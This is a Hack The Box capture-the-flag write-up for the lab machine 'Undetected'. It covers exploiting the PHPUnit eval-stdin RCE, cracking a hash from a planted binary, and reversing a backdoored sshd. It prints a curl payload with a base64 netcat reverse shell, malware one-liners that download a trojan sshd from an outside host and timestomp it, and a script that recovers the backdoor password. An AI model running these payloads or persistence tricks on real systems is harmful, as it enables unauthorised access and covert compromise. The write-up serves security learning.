Hack The Box: Undetected

Prelude

Undetected was an intermediate machine from HackTheBox, developed by TheCyberGeek. This was an incredible box, which showed several real-life like scenarios and was a great learning experience.

For initial foothold, I’ve exploited an RCE vuln in PHPUnit. Once I’ve got a shell in the target, I’ve cracked a hardcoded Unix hash inside a custom malicious binary to get the user.

Then I’ve reversed a malicious SSHd binary and reverse engineered the hardcoded backdoor password to get root.

Let me elaborate on how I solved this box.

Exploitation

Nmap returned the following results.

Nmap scan report for 10.10.11.146
Host is up (0.061s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2 (protocol 2.0)
| ssh-hostkey: 
|   3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA)
|   256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)
|_  256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Diana's Jewelry
|_http-server-header: Apache/2.4.41 (Ubuntu)

I’ve Navigated to port 80 and found the following web page.

Clicked on Store link and it navigated to http://store.djewelry.htb/

So I’ve added the hostname to my /etc/hosts file and refreshed the page.

A quick feroxbuster-ing showed that there’s an exposed directory named vendor, with installed plugin folders listed.

Plugin enumeration go brrr!

Googled every plugin name in the exposed directory for vulnerabilities and found one.
There was an RCE in PHPUnit titled CVE-2017-9841. PHPUnit is a unit testing framework for the PHP programming language.

If the target is vulnerable, then we could execute arbitraty PHP code.
So I used the following payload to test for code execution.

curl -XPOST --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
 

If the target is vulnerable, then it will decode the base64 encoded string and display `Hello World from CVE-2017-9841

RCE confirmed!

Then I’ve used a base64 encoded nc mkfifo payload and got a shell back.

curl -XPOST --data '<?php $str="cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTAuMTAuMTQuNjIgOTAwMSA+L3RtcC9m";system(base64_decode($str));' http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

I’ve sent this payload and I got a shell back as www-data.

Privilege Escalation #1

Once I’ve got a shell back as www-data, I’ve used manual enumeration and found a binary /var/backups/info, which was owned by www-data.

So, I downloaded the file to my local machine and ran strings against the binary and found a hex encoded data, passing as an argument to bash.

I’ve decoded the hex using Cyberchef and found some bash comands and a hardcoded Unix hash.

These commands will download an authorized keys file from tempfiles.xyz and place it in /root/.ssh/authorized_keys. Then It will download a file named .main to /var/lib/ and set permission 755 to it.

Then it will add a cronjob to execute .main as root. Then, the script will add a hardcoded hash to the /etc/shadow file manually.

After that, it will extract users who have a login shell from /etc/passwd. Then it will add the user back to /etc/passwd, but this time, the username will have 1 appended to it.

So for instance, if there’s a valid user in the /etc/passwd file with a username steven, this code will add a new user named steven1 to /etc/passwd and then add the hardcoded password hash to /etc/shadow file.

I’ve cracked the hardcoded hash and it tuned out to be ihatehackers.

Why tho!?

I’ve checked the /etc/passwd file and found a user named steven1. So, I’ve used the password ihatehackers to login as steven1.

Privilege Escalation #2

This part was actually the hardest part of the whole box. The scenario in this box is that, this server was compromised and the hacker has left an undetectable backdoor in the system. So, the goal for us, is to find the backdoor and gain root.

Once we are in as steven1, we can read a mail for steven in /var/spool/mail.

It mentions an issue with Apache.

Since apache can load custom modules, an attacker could target apache modules for persistance.

i’ve Checked apache mods-available folder.
The .load files were loading contents from /usr/lib/apach2/modules/ directory.

So, I navigated to /usr/lib/apach2/modules/ directory and listed the files by last modified.

ls -latr

mod_reader.so module is the last modified file.
So, I’ve downloaded it to my machine and opened it using Ghidra.

When reversing a fuction named hook_post_config in the mod_reader.so file, I’ve found a base64 encoded data.

I’ve decoded it and found it as a bash one liner.

wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; 

touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd

This one-liner downloads an image file as /usr/bin/sshd.

Then, it will change the modified date of /usr/bin/sshd to be the same as /usr/bin/a2enmod

This is to make the timestamp of the malicous SSHd binary to that of the a2enmod file, so that the malicious sshd binary will be hidden to sysadmins, who rely on timestamps for forensics.

I’ve searched for the string password in Ghidra and found a string named auth_password; which seemed interesting.

And I’ve found a backdoor password in the function decompiler view.

When a user tries password login via SSH as root, the malicious auth_password function in the SSHd binary will compare the entered password with the hardcoded backdoor password.

The backdoor password is stored in hexadecimal format inside a 31 character long array named backdoor.

The auth_password function will XOR the Hexadecimal values stored in the backdoor array with a static HEX key 0x96 to get the ASCII representation of the backdoor password.

The malicious auth_password function will then compare the genreated ASCII representation of the backdoor password with the password the user entered.

If the password matches with the hardcoded backdoor password, then the user can login as root.

This might not the best way, but it surely is a stealthy way for leaving backdoors in a system.

So, I manually copied and pasted the hex values in incremental order.

I’ve created a python script to Swap endianess, XOR each hex characters with 0x96 and Convert the resulting Hex to ASCII.


#!/usr/bin/python3

import socket



# Swap byte order
# Ghira displays the HEX in reversed Byte order format
def  swap_end(data):
	swap_data = bytearray(data)
	swap_data.reverse()
	return swap_data



# Backdoor password's Hex representation
backdoor=b'\xa5'
backdoor+=b'\xa9\xf4'
backdoor+=b'\xbc\xf0\xb5\xe3'
backdoor+=b'\xb2\xd6\xf4\xa0\xfd\xa0\xb3\xd6'
backdoor+=b'\xfd\xb3\xd6\xe7'
backdoor+=b'\xf7\xbb\xfd\xc8'
backdoor+=b'\xa4\xb3\xa3\xf3'
backdoor+=b'\xf0\xe7\xab\xd6'


# Password in Hex , after correcting Byte Order
swapped=swap_end(backdoor)



xored=[]
for i in swapped:
	xored.append(hex(i ^ int(0x96)) )

# Password in Hex , after XOR-ing with 0x96
# Store in list xored[]

final="".join(xored)
t=final.replace("0x","")	

# Password in Hex , after removing the 0x from the Hex bytes
final=t

# Converting Hex to ASCII
print(bytearray.fromhex(final).decode())

I’ve ran the script and got the password as

@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3.

I’ve used the password to login to the machine as root via SSH.

w00t!

Postlude

And that was Undetected!

A great machine which had excellent learning materials.

Kudos to TheCyberGeek for this machine.

Peace out! ✌️